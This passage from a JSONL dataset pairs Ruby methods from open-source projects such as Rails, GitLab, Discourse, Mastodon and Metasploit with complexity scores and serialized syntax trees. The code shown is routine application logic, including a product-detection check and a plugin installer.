end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_all_registered\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]},{\"type\":\"arg\",\"children\":[\"display_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"available=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"display_name=\",{\"type\":\"lvar\",\"children\":[\"display_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"creator=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]}]}]}]}]}]}","id":"dcf234c3-1b92-4773-9e40-239095e2fbaf"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite.rb","start_line":297,"raw_source":"def resend_invite\n    self.update_columns(\n      updated_at: Time.zone.now,\n      invalidated_at: nil,\n      expires_at: SiteSetting.invite_expiry_days.days.from_now,\n    )\n    Jobs.enqueue(:invite_email, invite_id: self.id)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resend_invite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalidated_at\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"invite_expiry_days\"]},\"days\"]},\"from_now\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"invite_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invite_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]}]}]}","id":"36701151-66b2-4a04-8b03-57b99e06610d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/namespaces/schedule_aggregation_worker.rb","start_line":37,"raw_source":"def aggregation_schedules_table_exists?\n      return true unless Rails.env.test?\n\n      Namespace::AggregationSchedule.table_exists?\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"aggregation_schedules_table_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"AggregationSchedule\"]},\"table_exists?\"]}]}]}","id":"b28470d6-d138-42d9-b001-28fe779cfe28"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/modx.rb","start_line":64,"raw_source":"def execute\n    import_users\n    import_categories\n    import_topics_and_posts\n    deactivate_all_users\n    suspend_users\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_topics_and_posts\"]},{\"type\":\"send\",\"children\":[null,\"deactivate_all_users\"]},{\"type\":\"send\",\"children\":[null,\"suspend_users\"]}]}]}","id":"4856ebb0-c871-4480-82d6-91a0207e7e83"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/full_work_package.rb","start_line":61,"raw_source":"def expect_reminder_button\n      expect(page).to have_test_selector(\"op-wp-reminder-button\")\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_reminder_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-wp-reminder-button\"]}]}]}]}","id":"81b2dee3-6c82-49e2-9a1a-d19d58d47a45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":855,"raw_source":"def self.draft?(title)\n    !!(title =~ DRAFT_REGEX)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"draft?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"DRAFT_REGEX\"]}]}]},\"!\"]},\"!\"]}]}","id":"67998d8e-fa22-491e-a492-3c5b4061b7cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb","start_line":68,"raw_source":"def check\n    res = send_request_cgi({\n      'uri' => \"/datahub.asp\",\n      'method' => 'GET',\n    })\n\n    if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\\/title>/\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":9.25,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/datahub.asp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title>DataHub - Web Data Browser</title>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"6f169beb-06c6-4a6f-9c43-59de8b2a4e53"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/cause_of_change/base.rb","start_line":40,"raw_source":"def to_hash\n      { \"type\" => type }.merge(additional_attributes).deep_stringify_keys\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"type\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"additional_attributes\"]}]},\"deep_stringify_keys\"]}]}","id":"044e1a16-c3f3-48a1-b901-4118de578469"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/auth_provider.rb","start_line":35,"raw_source":"def name\n    authenticator.name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticator\"]},\"name\"]}]}","id":"69716f5b-ce86-4992-9e9b-de868a5f2f22"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb","start_line":70,"raw_source":"def exclusion_constraints_in_create(table, stream)\n            if (exclusion_constraints = @connection.exclusion_constraints(table)).any?\n              exclusion_constraint_statements = exclusion_constraints.map do |exclusion_constraint|\n                parts = [ exclusion_constraint.expression.inspect ]\n                parts << \"where: #{exclusion_constraint.where.inspect}\" if exclusion_constraint.where\n                parts << \"using: #{exclusion_constraint.using.inspect}\" if exclusion_constraint.using\n                parts << \"deferrable: #{exclusion_constraint.deferrable.inspect}\" if exclusion_constraint.deferrable\n                parts << \"name: #{exclusion_constraint.name.inspect}\" if exclusion_constraint.export_name_on_schema_dump?\n\n                \"    t.exclusion_constraint #{parts.join(', ')}\"\n              end\n\n              stream.puts exclusion_constraint_statements.sort.join(\"\\n\")\n            end\n          end","complexity_score":49.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exclusion_constraints_in_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exclusion_constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"exclusion_constraints\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exclusion_constraint_statements\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraints\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exclusion_constraint\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"expression\"]},\"inspect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"where\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"where: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"where\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"using\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"using: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"using\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"deferrable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"deferrable: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"deferrable\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"export_name_on_schema_dump?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint\"]},\"name\"]},\"inspect\"]}]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    t.exclusion_constraint \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_constraint_statements\"]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]}]}","id":"7ec7e33c-11e1-4b48-856c-d32eb34d5bea"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/link_details_extractor.rb","start_line":34,"raw_source":"def description\n      json['description']\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]}","id":"001ff05e-66bd-4b89-99c5-8ebb68b03bd8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1551,"raw_source":"def test_match_with_many_paths_containing_a_slash\n    assert_raises(ArgumentError) do\n      draw do\n        get \"get/first\", \"get/second\", \"get/third\", to: \"get#show\"\n      end\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_match_with_many_paths_containing_a_slash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"get/first\"]},{\"type\":\"str\",\"children\":[\"get/second\"]},{\"type\":\"str\",\"children\":[\"get/third\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"get#show\"]}]}]}]}]}]}]}","id":"b04ce607-4459-4420-af60-952a9ac88641"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/config/initializers/simple_form.rb","start_line":25,"raw_source":"def warning_hint(_wrapper_options = nil)\n    @warning_hint ||= begin\n      options[:warning_hint].to_s.html_safe if options[:warning_hint].present? # rubocop:disable Rails/OutputSafety\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"warning_hint\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_wrapper_options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@warning_hint\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"warning_hint\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"warning_hint\"]}]},\"to_s\"]},\"html_safe\"]},null]}]}]}]}","id":"4b682a68-bb4d-45e9-85aa-c4262c9fdc71"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/test/warden_helpers.rb","start_line":25,"raw_source":"def on_next_request(&blk)\n        _on_next_request << blk\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_next_request\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_on_next_request\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}","id":"065ef464-fee0-42ce-9f10-a6f537b17a0d"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_helper.rb","start_line":132,"raw_source":"def render_visible_children_list(node, project)\n    items = node\n      .children\n      .map { |child| render_menu_node(child, project) if visible_node?(@menu, child) }\n\n    if items.present?\n      capture do\n        concat render_children_menu_header(node, project)\n        concat content_tag(:ul, safe_join(items, \"\\n\"), class: \"main-menu--children\")\n      end\n    end\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_visible_children_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_node?\",{\"type\":\"ivar\",\"children\":[\"@menu\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"render_menu_node\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"render_children_menu_header\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"ul\"]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"lvar\",\"children\":[\"items\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"main-menu--children\"]}]}]}]}]}]}]},null]}]}]}","id":"2931f9eb-2982-4332-bd1c-a05633599326"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":141,"raw_source":"def test_any_migrations\n    migrator = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + \"/valid\", @schema_migration, @internal_metadata)\n\n    assert_predicate migrator.migrations, :any?\n\n    migrator_empty = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + \"/empty\", @schema_migration, @internal_metadata)\n\n    assert_not_predicate migrator_empty.migrations, :any?\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_any_migrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/valid\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"migrations\"]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/empty\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator_empty\"]},\"migrations\"]},{\"type\":\"sym\",\"children\":[\"any?\"]}]}]}]}","id":"50791791-a492-459d-9ab2-849596285c0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage/cdn/google_ip_cache.rb","start_line":44,"raw_source":"def cached_value(key)\n          l1_cache.fetch(key) do\n            result = l2_cache.fetch(key)\n\n            # Don't populate the L1 cache if we can't find the entry\n            break unless result\n\n            result\n          end\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"l1_cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"l2_cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"50b658ed-cd5d-4d4e-a35d-ece74266d141"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/journals/create_service.rb","start_line":553,"raw_source":"def journable_type\n      journable.class.base_class.name\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"journable_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journable\"]},\"class\"]},\"base_class\"]},\"name\"]}]}","id":"12474e7e-9009-4a3a-afa8-c7920a4e1fe5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240906212534_remove_organizations_dependency_list_export_parts_organization_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:dependency_list_export_parts, :organizations,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"dependency_list_export_parts\"]},{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"a523adae-1691-499c-9174-95bd055933b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/pivot_container.rb","start_line":18,"raw_source":"def initialize_pivots\n    self.pivot_sessions = {}\n    self.pivot_listeners = {}\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_pivots\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pivot_sessions=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pivot_listeners=\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"94533275-6cd3-437b-8e04-562059529895"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/install_xcode_plugin.rb","start_line":4,"raw_source":"def self.run(params)\n        require 'fileutils'\n\n        if params[:github]\n          base_api_url = params[:github].sub('https://github.com', 'https://api.github.com/repos')\n\n          GithubApiAction.run(\n            url: File.join(base_api_url, 'releases/latest'),\n            http_method: 'GET',\n            error_handlers: {\n              404 => proc do |result|\n                UI.error(\"No latest release found for the specified GitHub repository\")\n              end,\n              '*' => proc do |result|\n                UI.error(\"GitHub responded with #{response[:status]}:#{response[:body]}\")\n              end\n            }\n          ) do |result|\n            return nil if result[:json].nil?\n            params[:url] = result[:json]['assets'][0]['browser_download_url']\n          end\n        end\n\n        zip_path = File.join(Dir.tmpdir, 'plugin.zip')\n        sh(\"curl -Lso #{zip_path} #{params[:url]}\")\n        plugins_path = \"#{ENV['HOME']}/Library/Application Support/Developer/Shared/Xcode/Plug-ins\"\n        FileUtils.mkdir_p(plugins_path)\n        Action.sh(\"unzip -qo '#{zip_path}' -d '#{plugins_path}'\")\n\n        UI.success(\"Plugin #{File.basename(params[:url], '.zip')} installed successfully\")\n        UI.message(\"Please restart Xcode to use the newly installed plugin\")\n      end","complexity_score":53.35,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fileutils\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"github\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_api_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"github\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"https://github.com\"]},{\"type\":\"str\",\"children\":[\"https://api.github.com/repos\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GithubApiAction\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_api_url\"]},{\"type\":\"str\",\"children\":[\"releases/latest\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_handlers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"t